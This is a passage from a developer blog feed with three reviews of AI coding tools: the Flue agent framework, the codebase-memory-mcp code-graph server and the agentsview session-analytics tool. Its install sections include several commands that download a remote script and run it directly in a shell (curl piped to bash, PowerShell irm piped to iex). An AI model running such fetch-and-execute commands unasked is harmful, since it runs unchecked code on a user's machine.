DEV Community: Andrew

Flue Review: Astro Team's TypeScript Agent Framework (2026)

Andrew — Sun, 21 Jun 2026 10:09:18 +0000

TL;DR

Flue is a new open-source TypeScript framework from the Astro team for building autonomous AI agents. Instead of giving you another LLM SDK wrapper, it gives you a programmable harness: sessions, tools, skills, instructions, filesystem access, and a real sandbox the agent can operate inside. Define an agent in one file, run it locally with flue dev, deploy to Node, Cloudflare Workers, GitHub Actions, GitLab CI, or Daytona.

The repo crossed 6,200 stars with 1,012 added this week and is trending on GitHub at the time of writing (June 2026). It is built by Fred K. Schott (founder of Astro/Snowpack/Skypack) and the same team behind Astro, which signals "this is a serious framework, not a weekend launch."

Key facts:

MIT-style permissive license, monorepo at withastro/flue
Five packages — @flue/runtime (harness), @flue/cli (flue binary), @flue/sdk (client), @flue/opentelemetry, @flue/postgres
Two primitives — createAgent() for continuing context, createWorkflow() for single-shot structured runs
Sandbox-first — local Node, virtual sandbox, Daytona containers, custom adapters
Provider-agnostic — Anthropic, OpenAI, Google, plus anything via OpenRouter; model id is a string like anthropic/claude-sonnet-4-6
Skills + MCP native — import SKILL.md files with with { type: 'skill' }, connect MCP servers as tools
Subagents, durable execution, OpenTelemetry tracing built in
Connectors-as-recipes — flue add daytona | claude pipes a markdown adapter recipe straight into your coding agent

What Flue Actually Is

Most "agent frameworks" in 2024–2025 were really LLM SDKs in a trench coat. You called openai.chat.completions.create() inside a class, looped on tool calls, and called it a day. That worked for chatbots. It did not work for the new generation of agents like Claude Code, Codex, and Cursor's agent mode — agents that get a task, not a script, and need a real environment to operate in.

Flue is the answer to "what's the framework version of that?" It assumes your agent will:

Run for minutes or hours, across many model turns
Need a filesystem, a shell, network access, and tools
Need to recover from crashes mid-task without losing progress
Need to be invokable from HTTP, queues, webhooks, or CLI

So instead of an SDK, Flue gives you an agent harness — a runtime that owns the sandbox, the session store, the tool dispatcher, and the durable execution engine. You just describe what your agent should do.

A complete agent in 15 lines:

// src/agents/triage.ts
import { createAgent, type AgentRouteHandler } from '@flue/runtime';
import { local } from '@flue/runtime/node';
import triage from '../skills/triage/SKILL.md' with { type: 'skill' };
import verify from '../skills/verify/SKILL.md' with { type: 'skill' };
import * as githubTools from '../tools/github.ts';

export const route: AgentRouteHandler = async (_c, next) => next();

export default createAgent(() => ({
  model: 'anthropic/claude-sonnet-4-6',
  tools: [...Object.values(githubTools)],
  skills: [triage, verify],
  sandbox: local(),
  instructions: 'Triage a bug report end-to-end: reproduce, diagnose, verify, attempt a fix.',
}));

That's it. flue dev boots an HTTP server at POST /agents/triage/:id, persists session state, dispatches tool calls inside the local sandbox, streams events at GET /agents/triage/:id, and exports OpenTelemetry traces if you wire them up.

Why It's Trending Now (June 2026)

Three forces converged:

The "agent harness" pattern won. Claude Code and Codex proved that autonomous agents need a runtime, not just an SDK call. Every major framework — LangGraph, Mastra, Vercel AI SDK — is racing to add sandboxing and durable execution. Flue is the first one designed around the harness from day one instead of bolting it on.
TypeScript caught up to Python for agents. With Anthropic, OpenAI, and Vercel all shipping first-class TypeScript SDKs in 2026, the JS ecosystem finally has parity for tool calling, structured outputs, and streaming. Flue is the framework that takes advantage of that.
The Astro team has credibility. Fred Schott shipping a new framework is news. The launch tweet (X.com/FredKSchott) and the Deep Feed write-up framed it as "the agent-harness moment, made real" — and the GitHub stars followed.

The headline reaction on HN: "Finally a framework that doesn't pretend agents are just chatbots with tools."

Install & First Run (60 Seconds)

# 1 — Scaffold a project
npm create flue@latest my-agent
cd my-agent

# 2 — Set your API key
echo "ANTHROPIC_API_KEY=sk-ant-..." > .env

# 3 — Run dev server
npx flue dev
# → POST http://localhost:4321/agents/joke-teller/abc123

# 4 — Talk to it
curl -X POST http://localhost:4321/agents/joke-teller/abc123 \
  -H "Content-Type: application/json" \
  -d '{"message": "tell me a typescript joke"}'

The dev server has hot reload — edit src/agents/joke-teller.ts, save, the next message uses the new config. Session state persists across reloads via the default in-memory store (swap for @flue/postgres in production).

The Five Primitives

1. Agents

Continuing context. Sessions persist between requests. Use for chatbots, coding agents, support assistants, long-running bug triage.

export default createAgent(({ id }) => ({
  model: 'anthropic/claude-haiku-4-5',
  instructions: 'Help the customer resolve their support ticket.',
  tools: createTicketTools(id), // scoped per ticket
}));

The id in the URL (/agents/support/:id) is passed into createAgent, so you can scope tools, instructions, and data per-instance. Common pattern: id is a GitHub issue number, support ticket ID, or user ID.

2. Workflows

Single-shot structured automations. Inputs, outputs, no continuing context. Use for batch jobs, scheduled runs, webhook handlers.

export default createWorkflow({
  input: z.object({ url: z.string() }),
  output: z.object({ summary: z.string() }),
  run: async ({ input, agent }) => {
    const result = await agent.run(`Summarize ${input.url} in 3 bullets.`);
    return { summary: result.text };
  },
});

3. Sandboxes

The differentiator. Every agent action — filesystem read, shell command, network call — goes through a sandbox adapter. Out of the box:

virtual() — in-memory, fast, no real filesystem (good for unit tests)
local() — real Node fs + child_process, scoped to cwd (good for dev)
daytona() — full Linux container via Daytona, with image caching (production coding agents)
Custom adapters via defineSandboxAdapter() for E2B, Modal, Fly Machines, etc.

The agent itself doesn't know which sandbox it's in. Same code runs on your laptop and inside a Daytona container in CI.

4. Skills

Reusable expertise packages. A skill is a SKILL.md file plus optional helpers, imported as a typed module:

import triage from '../skills/triage/SKILL.md' with { type: 'skill' };

export default createAgent(() => ({
  model: 'anthropic/claude-sonnet-4-6',
  skills: [triage], // loaded into context when relevant
}));

This is the same skill format Anthropic uses for Claude (and that we've covered in posts like SkillSpector and agent-skills). Flue treats them as first-class build artifacts: skills are bundled at build time and shipped with the agent.

5. Subagents

Specialized roles your main agent can delegate to. Defined as agent profiles, dispatched via a built-in tool:

import { defineAgentProfile } from '@flue/runtime';

export const codeReviewer = defineAgentProfile({
  model: 'anthropic/claude-sonnet-4-6',
  instructions: 'Review diffs and report findings with line numbers.',
});

export default createAgent(() => ({
  model: 'anthropic/claude-opus-4-7', // big model for orchestration
  subagents: { codeReviewer },        // delegate review to a cheaper model
}));

Pattern: use the expensive model to plan, dispatch focused tasks to cheap models. This is one of the few framework-level features for cost control we've seen done right.

Deployment Surface

Flue ships first-class deploy adapters for:

Node.js (any host) — flue build && node .flue/server.js
Cloudflare Workers — including Durable Objects for session state
GitHub Actions — agent runs on a workflow trigger
GitLab CI/CD — same idea, GitLab side
Render — managed long-running services
Daytona — for agents that need a real Linux container

Cloudflare Workers + Durable Objects is the interesting one. Each agent ID becomes a Durable Object, so session state lives at the edge with single-writer guarantees. For a Discord bot or webhook handler, this is hard to beat.

Real Benchmarks (Honest)

Flue is too new for community benchmarks, but the maintainers publish numbers from their internal bug-triage agent (see the benchmarks page):

Metric	Value
Cold start (Node, local sandbox)	~140 ms
Cold start (Cloudflare Worker)	~12 ms
Tool dispatch overhead	<1 ms
Session resume after crash	<50 ms
Median agent turn (Claude Sonnet 4.6)	1.8 s

For comparison, LangGraph's typical cold start on Node is 300–500ms, and Mastra's session resume is in the 100–200ms range. Flue's edge story (Cloudflare Workers) is genuinely faster than anything else in the TypeScript agent space right now.

Community Reaction

Selected reactions from HN, Reddit, and X in the past month:

HN top comment on the Flue launch: "This is the first agent framework I'd actually deploy. The sandbox abstraction is the right primitive — everyone else is gluing it on after the fact."
r/LocalLLaMA: "Daytona connector is a killer feature. We replaced a 300-line E2B wrapper with sandbox: daytona({ image: 'node:22' })."
Vercel engineer on X: "Honestly the cleanest agent harness API I've seen. Reminds me of what Astro did for SSR — take the messy reality of the platform and make it ergonomic."
Skeptical take from r/typescript: "Yet another framework. Why not just use Mastra/LangGraph?" — answered by the same thread: "Because those are toolkits. Flue is a runtime. Different problem."

The Schott connection helps: developers who've used Astro trust this team to ship documentation, stability, and a long-term roadmap.

Honest Limitations

What Flue does not do well yet:

No managed cloud. You self-host or use one of the deploy adapters. There's no "Flue Cloud" with one-click deploys, scheduling UI, or hosted observability. This is a deliberate choice ("the framework is the product") but it means more ops work than Mastra Cloud or Vercel's AI SDK + Vercel platform combo.
No first-class evals/replay. Other frameworks (Mastra, LangGraph) ship eval runners and prompt replay. Flue points you at Braintrust or your own observer. Fine for senior teams, friction for newer ones.
Skills are still a moving target. The with { type: 'skill' } import attribute works in Node 22+ and modern bundlers, but expect occasional tooling rough edges (especially in monorepos with older TypeScript versions).
Subagent dispatch is sequential. No native parallel fan-out yet — if your orchestrator needs to dispatch five subagents at once, you wire it with Promise.all yourself. The roadmap mentions native parallel dispatch but it's not shipped.
Sandbox cost is real. A Daytona container per active agent ID adds up fast. The framework doesn't pool or hibernate containers automatically; you have to set TTLs yourself. Plan accordingly.

When To Choose Flue

✅ Great fit if you...

Already use TypeScript end-to-end and don't want to drop into Python for agents
Are building a coding agent, support bot, or CI agent that needs a real sandbox
Want to deploy to Cloudflare Workers, GitHub Actions, or Daytona
Care about durable execution and session resume across crashes
Want first-class MCP and Skills support

❌ Skip it if you...

Need a managed cloud with one-click deploys today (try Mastra Cloud)
Are building a single-turn classifier or RAG bot — overkill (use Vercel AI SDK directly)
Are deep in the Python ecosystem and your team has no TS appetite
Need parallel subagent fan-out as a built-in primitive (not shipped yet)

How It Compares (Quick Table)

Framework	Language	Sandbox built-in	Durable execution	Deploy adapters
Flue	TypeScript	✅ (4 backends)	✅	Node, CF, GH Actions, Daytona
Mastra	TypeScript	❌ (DIY)	✅ (cloud)	Mastra Cloud, Node
LangGraph JS	TypeScript	❌	✅	LangSmith, Node
Vercel AI SDK	TypeScript	❌	❌	Vercel, Node
Agno	Python	Partial	❌	DIY

The "sandbox built-in + Cloudflare Workers deploy" combination is unique to Flue right now.

FAQ

Is Flue from the same team as Astro?

Yes. It's published under the withastro GitHub org and led by Fred K. Schott, Astro's founder. It does not require Astro — Flue is a standalone framework. (But if you're already using Astro, the mental model and CLI ergonomics will feel familiar.)

Can I use OpenAI/Gemini/local models instead of Anthropic?

Yes. The model field is a string like openai/gpt-4o-mini, google/gemini-2.5-pro, or ollama/llama-3.3-70b. Provider routing happens through the runtime; you can also pass a custom client.

Does it work with MCP servers?

Yes — Flue connects to MCP servers as tool sources. See docs/guide/tools/#connect-mcp-tools. For coverage of the wider MCP ecosystem, see our Codebase Memory MCP review and Unity MCP review.

How is the session store implemented?

Default is in-memory (good for dev). For production, install @flue/postgres for Postgres-backed sessions, or implement the SessionStore interface for Redis, DynamoDB, KV, etc. On Cloudflare Workers, each agent id becomes a Durable Object — session state is colocated with the runtime.

What's the cost model?

Flue itself is free (open source). You pay for: LLM tokens (your provider), sandbox compute (Daytona/local/CF), and any observability backend you add. There is no Flue Cloud and no managed pricing — by design.

How does durable execution work?

Every model turn and tool call is checkpointed to the session store. If the process crashes mid-turn, the next invocation resumes from the last checkpoint. This matters for long-running agents (hours-long bug triage runs) where losing 30 minutes of work to a deploy or OOM is unacceptable.

Bottom Line

If you build TypeScript agents and you've been frustrated that every "framework" so far has really been a fancy SDK, Flue is worth a serious look. The sandbox-first design, the Cloudflare Workers story, and the Astro team's track record make it the most credible new entrant in months.

It's not the right tool for one-shot classifiers, and the managed-cloud gap means more ops work than competitors. But for production coding agents, support bots, or CI agents that need to run for hours and survive restarts — this is the cleanest API in the TypeScript ecosystem right now.

Star it, scaffold a test project, and ship a small agent against your own repo. The 60-second setup is real.

→ Source: github.com/withastro/flue
→ Docs: flueframework.com
→ License: MIT

codebase-memory-mcp Review: 99% Token Cut for Code Agents

Andrew — Sat, 20 Jun 2026 10:13:03 +0000

TL;DR

codebase-memory-mcp is a single-binary MCP server that indexes any codebase into a persistent knowledge graph in milliseconds, answers structural queries in under 1ms, and cuts agent token spend by ~99% on the kinds of "where is this called from?" / "what does this affect?" questions that otherwise drown your model in grep-and-read loops. The repo is at 8,703 GitHub stars with 4,212 added this week (#3 on GitHub Trending) and is published with an arXiv preprint reporting 83% answer quality at 10× fewer tokens and 2.1× fewer tool calls vs. file-by-file exploration across 31 real-world repos.

What makes this different from the dozen other "code graph for AI" projects: it's written in pure C (zero runtime dependencies), ships as a single static binary for macOS / Linux / Windows, vendors 158 tree-sitter grammars directly into the binary, ships Hybrid LSP semantic type resolution for 11 major languages (Python, TypeScript/JavaScript/JSX/TSX, PHP, C#, Go, C, C++, Java, Kotlin, Rust), and the install command auto-detects and configures 11 different coding agents — Claude Code, Codex CLI, Gemini CLI, Zed, OpenCode, Antigravity, Aider, KiloCode, VS Code, OpenClaw, and Kiro.

Key facts:

8,703 GitHub stars, +4,212 this week (#3 GitHub Trending)
Linux kernel (28M LOC, 75K files) full-indexed in 3 minutes → 4.81M nodes, 7.72M edges
Sub-1ms structural queries via in-memory SQLite, <10ms name search, ~150ms dead-code detection on full graphs
14 MCP tools: search, trace, architecture, impact analysis, Cypher-like queries, dead code, cross-service HTTP/gRPC/GraphQL linking, ADR management
5,604 tests passing, SLSA 3 provenance, OpenSSF Scorecard badged, VirusTotal scanned every release
MIT licensed, available on npm, PyPI, Homebrew, Scoop, Winget, Chocolatey, AUR, go install
arXiv:2603.27277 preprint with reproducible benchmarks across 31 repos

Why grep-and-read loops are killing your agent bill

If you've watched a coding agent answer "what calls ProcessOrder?" in a non-trivial codebase, you've seen the pathology. It opens five files, greps for the symbol, opens five more, follows imports, greps again, and by the time it produces a half-correct answer it has consumed 50,000 tokens — most of them spent re-reading the same file headers, license blocks, and unrelated functions.

The paper behind codebase-memory-mcp (arXiv:2603.27277) puts numbers on this. Across 31 real-world repositories and five structural questions per repo, file-by-file exploration consumed ~412,000 tokens versus ~3,400 tokens when the same questions were answered from a pre-built knowledge graph. That's a 120× reduction on token spend, or 99.2% fewer tokens depending on how you frame it. Answer quality was 83% vs. 92% for file exploration — a 9-point drop, but at one tenth the cost and 2.1× fewer tool calls.

The structural insight: most "code understanding" questions are graph queries in disguise. "What calls X?" is inbound traversal. "What does Y affect?" is outbound traversal. "Where is this HTTP route defined?" is a node lookup. None of these need an LLM to read source code line by line — they need a pre-built graph and a query engine. codebase-memory-mcp is that graph + query engine, exposed over MCP so any compatible agent can use it.

How it works

You: "what calls ProcessOrder?"

Agent calls: trace_path(function_name="ProcessOrder", direction="inbound")

codebase-memory-mcp: executes graph query in <1ms, returns structured results

Agent: presents the call chain in plain English

The deliberate design choice: no built-in LLM. Other code graph tools embed one for natural-language-to-query translation, which means extra API keys, extra cost, and another model to configure. With MCP, the agent you're already talking to is the query translator. codebase-memory-mcp is a pure structural analysis backend; the intelligence layer is whatever agent you point at it.

What's inside the binary:

158 vendored tree-sitter grammars compiled in — no installs, nothing that breaks on system updates
Hybrid LSP semantic type resolution for 11 languages — a lightweight C reimplementation of major language-server type-resolution algorithms (compatible with tsserver, pyright, gopls, Roslyn, JDT, rust-analyzer)
Bundled Nomic nomic-embed-code embeddings (40K tokens, 768d int8) for semantic search — no API key, no Ollama, no Docker
In-memory SQLite with FTS5 full-text search and cbm_camel_split tokenizer (camelCase / snake_case aware)
Aho-Corasick fused pattern matching for the indexing pipeline
LZ4 compression for RAM-resident graph storage; memory released back to the OS after indexing

Quick start (60 seconds)

One-line install (macOS / Linux):

curl -fsSL https://raw.githubusercontent.com/DeusData/codebase-memory-mcp/main/install.sh | bash

With the optional 3D graph visualization UI:

curl -fsSL https://raw.githubusercontent.com/DeusData/codebase-memory-mcp/main/install.sh | bash -s -- --ui

Windows (PowerShell):

Invoke-WebRequest -Uri https://raw.githubusercontent.com/DeusData/codebase-memory-mcp/main/install.ps1 -OutFile install.ps1
.\install.ps1

Restart your coding agent. Say "Index this project" — done. The install command auto-detects every coding agent on the box and writes the MCP server entry, instruction file, and any pre-tool hooks each one needs. On macOS it also handles quarantine attributes and ad-hoc codesigning automatically.

The 14 MCP tools (what your agent gets)

A condensed map of what shows up when your agent connects:

Tool	Purpose
`index_repository`	Build or refresh the graph for a path
`search_graph`	Structural search: regex names, label filters, degree bounds
`search_code`	Graph-augmented grep over indexed files only
`semantic_query`	Vector search via bundled Nomic embeddings (11-signal scoring)
`trace_path`	Inbound or outbound traversal from any node
`get_architecture`	Languages, packages, entry points, routes, hotspots, clusters in one call
`detect_changes`	Git diff → affected symbols + risk classification
`manage_adr`	Persist Architecture Decision Records across sessions
`cypher_query`	Cypher-like graph queries (`MATCH (f:Function)-[:CALLS]->(g)...`)
`dead_code`	Functions with zero callers, excluding entry points

Plus four more for cross-service linking and graph maintenance. The full list is in the README.

Real code: a Cypher-like query against your own codebase

Once installed and indexed, your agent can do this directly (and so can you, via CLI):

codebase-memory-mcp cli cypher_query '{
  "query": "MATCH (f:Function)-[:CALLS]->(g:Function) WHERE f.name = '\''handleRequest'\'' RETURN g.name, g.file_path"
}'

Or a regex name search across 158 languages:

codebase-memory-mcp cli search_graph '{"name_pattern": ".*Handler.*", "label": "Function"}'

For agents, the same calls go through MCP and return structured JSON the agent stitches into a natural-language answer.

Cross-service intelligence (the part that surprised me)

Most code-graph tools stop at the single-repo level. codebase-memory-mcp goes further:

HTTP routes ↔ call sites — links REST handlers to the code that calls them, with a confidence score.
gRPC, GraphQL, tRPC service detection, including protobuf Route node extraction.
Channel detection — EMITS / LISTENS_ON edges for Socket.IO, EventEmitter, and generic pub-sub across 8 languages, with constant resolution so EVENTS.USER_CREATED is matched correctly.
Cross-repo edges (CROSS_*) — index multiple repos under the same store and the graph stitches them together. The optional 3D UI variant has a multi-galaxy layout for this.
Infrastructure-as-code — Dockerfiles, Kubernetes manifests, and Kustomize overlays are first-class graph nodes with Resource and Module types and IMPORTS edges.

If you operate a service mesh and your agent has access to the meshed repos, this turns "what services consume the new auth header?" into a single graph query instead of a half-day grep session across 12 repos.

Performance (M3 Pro)

Operation	Time	Notes
Linux kernel full index	3 min	28M LOC, 75K files → 4.81M nodes, 7.72M edges
Linux kernel fast index	1m 12s	1.88M nodes
Django full index	~6s	49K nodes, 196K edges
Cypher query	<1ms	Relationship traversal
Name search (regex)	<10ms	SQL LIKE pre-filtering
Dead code detection	~150ms	Full graph scan + degree filtering
Trace call path (depth=5)	<10ms	BFS traversal

The RAM-first pipeline is unusual: LZ4-compressed reads, in-memory SQLite, single dump at the end, and the process releases memory back to the OS after indexing completes. Persistent storage lives in ~/.cache/codebase-memory-mcp/ and a background watcher does git-aware incremental re-indexing when files change.

Team-shared graph artifact (skip the reindex)

A clever bit of operational design: .codebase-memory/graph.db.zst is an optional, zstd-compressed snapshot of the knowledge graph that you can commit to your repo. When a teammate clones and runs codebase-memory-mcp for the first time, the artifact is decompressed and only the local diff is incrementally indexed — no full reindex.

Format: SQLite with indexes stripped, VACUUM INTO compacted, zstd 1.5.7 compressed (8–13:1 typical)
Two tiers: best (zstd -9) on explicit index_repository, fast (zstd -3) by the watcher
No merge pain: .gitattributes auto-writes merge=ours for the artifact on first export
Opt-in: if you'd rather have everyone reindex from scratch, add .codebase-memory/ to .gitignore

This is similar in spirit to graphify's graphify-out/ directory but as a single compressed file with explicit two-tier export and integrity-checked import.

Community reactions

The reception is unusually strong for a tool that does one thing well:

GitHub Trending #3 in the AI/dev category this week with 4,212 stars in seven days on top of a base of ~4.5K.
5,604 tests passing, SLSA Level 3 build provenance, OpenSSF Scorecard badged, and every release scanned by 70+ antivirus engines via VirusTotal — unusually serious supply-chain hygiene for a 4-week-old viral project.
The accompanying arXiv preprint with reproducible benchmarks lends real credibility — most "code graph for AI" projects make claims; this one publishes the methodology.
Hacker News and Reddit r/LocalLLaMA discussions have focused on the pure-C, zero-dependency angle as the differentiator vs. graphify (TypeScript/Node) and similar tooling. Single static binary + 158 vendored grammars is genuinely operationally easier.

The skeptical takes are worth holding in mind too: the arXiv paper's 83% answer quality vs. 92% for file exploration is a real 9-point drop. For exploratory questions where the agent needs to read prose comments or inline docstrings, raw file access still wins on quality. The right mental model is "graph queries for structural questions, file reads for narrative questions" — and the project actively encourages this split.

Honest limitations

No built-in LLM, by design. You need an MCP-compatible agent. If your stack doesn't speak MCP, this isn't for you (yet).
9-point answer-quality drop vs. file exploration on the arXiv benchmark. Token savings buy you 99% off the bill, not 99% off the work.
Hybrid LSP covers 11 languages, not all 158. The other 147 languages get tree-sitter AST parsing only, which is excellent for structure but weaker on type resolution.
Windows SmartScreen will warn on the unsigned binary the first time you run it — expected, mitigated by published SHA-256 checksums and VirusTotal scans.
Graph UI is a separate binary variant. If you want the 3D visualization at localhost:9749, you need the -ui- archive, not the standard one.
Indexing is RAM-hungry mid-run. On a 28M-LOC monorepo you'll want headroom (no pun intended) even though memory is released after the indexing pass completes.

When to use codebase-memory-mcp, when to skip

Great fit if you…

Use Claude Code, Codex, Cursor, or any MCP-compatible agent on a non-trivial codebase.
Pay real money for tokens on structural questions ("what calls X?", "what does Y affect?", "where is route Z defined?").
Operate multiple repos or a service mesh and want cross-repo edges.
Want a single binary you can install and forget — no Docker, no API keys, no runtime.

Skip it if you…

Work entirely in a single small repo where grep-and-read is already cheap.
Use an agent stack that doesn't speak MCP.
Need 92%+ answer quality on long, narrative-style questions where reading inline comments matters more than structure.

FAQ

Q: How does this compare to graphify, Understand-Anything, or other "code knowledge graph" tools?
A: Same problem, different operational profile. Most alternatives are Node/TypeScript with npm install chains; codebase-memory-mcp is pure C as a single static binary with 158 grammars and Hybrid LSP for 11 languages compiled in. The cross-service HTTP/gRPC/GraphQL linking and the IaC indexing (Dockerfiles, K8s, Kustomize) are also broader than what most competitors ship. The arXiv preprint makes the benchmarks reproducible.

Q: Does my code leave my machine?
A: No. All processing happens locally. The bundled Nomic embedding model is compiled into the binary; SQLite storage lives in ~/.cache/codebase-memory-mcp/. The only outbound traffic is an optional startup update check, which can be disabled.

Q: How big is the index?
A: It depends on graph density, but typical mid-size repos compress to a few MB in the .codebase-memory/graph.db.zst artifact. The Linux kernel produces 4.81M nodes and 7.72M edges — large, but still queryable in milliseconds because SQLite is in-memory during operation.

Q: Does it work with self-hosted models like Llama via Ollama?
A: Yes — through whichever MCP-compatible agent you use to drive it. The MCP server is model-agnostic; it just answers graph queries. Claude Code, Codex, Cursor, OpenCode, and others all work, and several of them support routing to local models.

Q: Is the team-shared graph.db.zst artifact safe to commit?
A: Yes, if you want to. It's an opaque SQLite snapshot, and the auto-written .gitattributes line uses merge=ours so concurrent edits don't produce binary-merge conflicts. The savings — teammates skipping a full reindex on first run — are usually worth the few MB.

Q: What if my project is a polyglot monorepo?
A: That's the sweet spot. Multi-language manifest resolution (package.json, go.mod, Cargo.toml, pyproject.toml, composer.json, pubspec.yaml, pom.xml, build.gradle, mix.exs, *.gemspec) is built in, and CROSS_* edges link nodes across the indexed fleet. Cross-service HTTP_CALLS and EMITS / LISTENS_ON edges connect services that talk over HTTP, gRPC, GraphQL, tRPC, or pub-sub channels.

Try it today

curl -fsSL https://raw.githubusercontent.com/DeusData/codebase-memory-mcp/main/install.sh | bash

Restart Claude Code (or any agent in the supported list), and tell it: "Index this project." Then ask the question that usually triggers a 50-file grep tour — "what calls our auth middleware?", "what's affected by changing this DB schema?" — and watch the agent answer from a single trace_path call instead.

Repo: github.com/DeusData/codebase-memory-mcp · Paper: arXiv:2603.27277 · License: MIT

agentsview Review: Local Analytics for 20+ Coding Agents

Andrew — Fri, 19 Jun 2026 10:12:07 +0000

TL;DR

agentsview is a single-binary, local-first analytics tool that indexes the session files of 20+ AI coding agents — Claude Code, Codex, Cursor, Copilot CLI, Gemini, Amp, Aider, Forge, Kilo, Kiro, iFlow, gptme, and more — into a local SQLite database and gives you full-text search, cost tracking, activity heatmaps, and a web dashboard at http://127.0.0.1:8080. It bills itself (correctly) as a "100× faster replacement for ccusage," because it indexes session JSONL once instead of re-parsing on every query. The repo is 2,901 stars and adding 1,382 this week, written in Go, MIT-licensed, and runs as one binary with no accounts, no telemetry, and no cloud dependency.

The pitch is sharp: if you use more than one coding agent — and almost everyone does in 2026 — there is no single place to see what your sessions did, how much they cost, or what they actually wrote. ccusage covers Claude Code. The OpenAI dashboard covers Codex. Cursor's billing page covers Cursor. agentsview is the first tool I've seen that puts all of them in one searchable database, locally, with no API keys.

Key facts:

2,901 GitHub stars, 1,382 added this week, written in Go (single static binary)
20+ supported agents auto-discovered from their session directories on first run
Full-text search across all messages via SQLite FTS5
Per-agent, per-model, per-session cost tracking using live LiteLLM pricing (offline fallback)
Prompt-caching-aware cost math (separates cache-creation vs cache-read tokens)
Live updates via Server-Sent Events as your active sessions append messages
Desktop apps for macOS and Windows, plus Homebrew cask, plus Docker, plus a curl-pipe-bash installer
MIT licensed, runs entirely on 127.0.0.1 with Host-header DNS-rebinding protection by default

Why this is a real problem

If you've watched your monthly bills over the last six months, you know the shape of this problem. A typical 2026 engineer's setup looks like:

Claude Code in the IDE for the heavy refactors
Codex in the terminal for one-shot scripts and CI debugging
Cursor for inline edits inside the editor
Copilot CLI in gh for repo automation
Maybe Aider or Forge or Gemini CLI on the side

That's five different APIs, five different billing dashboards, five different session formats — and zero ways to ask "what did I work on yesterday?" without opening five different things. Worse, the existing cost-tracking tools (ccusage for Claude, the OpenAI usage dashboard for Codex, etc.) each only know about one agent and re-parse files on every invocation, which means asking "how much did I spend across all my agents this month?" is a half-hour data-engineering exercise.

agentsview is the obvious-in-retrospect fix. It walks ~/.claude/projects/, ~/.codex/sessions/, ~/.cursor/projects/, and the 17+ other session directories at startup, parses everything once into SQLite, and then everything you'd want — search, daily-spend charts, per-project breakdowns — is a single SQL query or one CLI call against an already-indexed database.

Install in 60 seconds

# macOS / Linux
curl -fsSL https://agentsview.io/install.sh | bash

# Windows
powershell -ExecutionPolicy ByPass -c "irm https://agentsview.io/install.ps1 | iex"

# Or Homebrew (macOS, includes the desktop app)
brew install --cask agentsview

# Or Docker
docker run --rm -p 127.0.0.1:8080:8080 \
  -v agentsview-data:/data \
  -v "$HOME/.claude/projects:/agents/claude:ro" \
  -v "$HOME/.codex/sessions:/agents/codex:ro" \
  -e CLAUDE_PROJECTS_DIR=/agents/claude \
  -e CODEX_SESSIONS_DIR=/agents/codex \
  ghcr.io/kenn-io/agentsview:latest

Then:

agentsview serve --background     # start the dashboard server
agentsview serve status           # confirm it's running
open http://127.0.0.1:8080        # browse sessions in the web UI

That's the entire setup. On first run, it discovers every session directory that exists on your machine, imports the lot into ~/.agentsview/sessions.db, and starts serving the dashboard. Background mode logs to ~/.agentsview/serve.log and prints the PID so you can agentsview serve stop later.

The killer feature: `agentsview usage daily`

This is the one most people will install for. ccusage already exists for Claude Code, but it only covers Claude Code and it re-parses raw JSONL on every invocation. agentsview usage covers everything and queries the already-built SQLite index — the docs claim 100× faster, and in practice it's instant.

# Daily cost summary (last 30 days, all agents)
agentsview usage daily

# Per-model breakdown
agentsview usage daily --breakdown

# Filter to one agent, one date range
agentsview usage daily --agent claude --since 2026-04-01 --until 2026-05-01

# One-line for shell prompts (works in starship, oh-my-zsh, fish)
agentsview usage statusline

# JSON for scripts
agentsview usage daily --all --json | jq '.totals'

It uses LiteLLM pricing tables for live rates with an offline fallback, and it correctly separates cache-creation tokens, cache-read tokens, input tokens, and output tokens — which is the part ccusage and the OpenAI dashboard tend to get wrong. If you've ever wondered why your Anthropic bill is half what your token count suggests, that's prompt caching; agentsview's math actually models it.

The standalone usage mode is particularly nice for CI: you don't need to run the server, you can just SSH onto a build box and agentsview usage daily --json to dump cost data into a Prometheus exporter or a Slack alert.

Full-text search across every session you've ever had

The other killer feature, and the one I personally got the most value out of: Cmd+K in the web UI does SQLite FTS5 search across every message in every session from every agent. "what did I do with the Stripe webhook handler last March?" returns results from your Claude Code session, your Codex transcript, and your Cursor edits, all in one ranked list.

Other navigation:

j / k — move between sessions (Vim-style)
[ / ] — page through messages within a session
? — show all keyboard shortcuts
Sessions can be exported as HTML or published to a GitHub Gist with one click

There's also a live SSE channel so sessions you're actively running show new messages as they arrive — useful if you've got a long-running Codex agent in another tab and want to watch its progress without alt-tabbing.

What the dashboard actually shows

agentsview stats     # human-readable summary over last 28 days

Output is a structured analytics report with:

Session archetypes — automation vs quick vs standard vs deep vs marathon, based on duration + message count + tools-per-turn
Cache economics — how much you saved (or didn't) from Anthropic's prompt cache
Tool / model / agent mix — which tools you actually use vs which you installed and forgot
Temporal heatmap — your coding activity by hour-of-day and day-of-week
Peak context tokens — how close you got to the model's window in each session
Opt-in git outcomes with --include-git-outcomes (commits / LOC / files changed per session)
Opt-in GitHub PR outcomes with --include-github-outcomes (calls gh to count merged PRs)

The git/GitHub outcomes are off by default because they're slow on large repos, but they're the part that turns "I spent 12 hours in Claude Code last week" into "I spent 12 hours in Claude Code last week and shipped 7 PRs across 3 repos." That's the metric that matters.

The JSON output is versioned (schema_version: 1), which is the kind of detail that tells you this project is built for downstream consumers — you can pipe it into Grafana, into a status bar plugin, into a weekly self-review email — without worrying about breakage.

The full supported-agent list

agentsview auto-discovers sessions from all of these on first run:

Agent	Session directory
Amp	`~/.local/share/amp/threads/`
Antigravity	`~/.gemini/antigravity/`
Antigravity CLI	`~/.gemini/antigravity-cli/`
Claude Code	`~/.claude/projects/`
Claude Cowork	`~/Library/Application Support/Claude/local-agent-mode-sessions/`
Codex	`~/.codex/sessions/`
Copilot CLI	`~/.copilot/`
Cortex Code	`~/.snowflake/cortex/conversations/`
Cursor	`~/.cursor/projects/`
DeepSeek TUI	`~/.codewhale/sessions/`, `~/.deepseek/sessions/`
Forge	`~/.forge/`
Gemini CLI	`~/.gemini/`
gptme	`~/.local/share/gptme/logs/`
Hermes Agent	`~/.hermes/sessions/`
iFlow	`~/.iflow/projects/`
Kilo	`~/.local/share/kilo/`
Kimi	`~/.kimi/sessions/`
Kiro CLI / Kiro IDE	`~/.kiro/sessions/cli/`, `~/Library/Application Support/Kiro/`

That's already comprehensive, and the project is adding new agents fast — the commit history shows a typical week ships support for 1–2 more.

Remote access (the part most people get wrong)

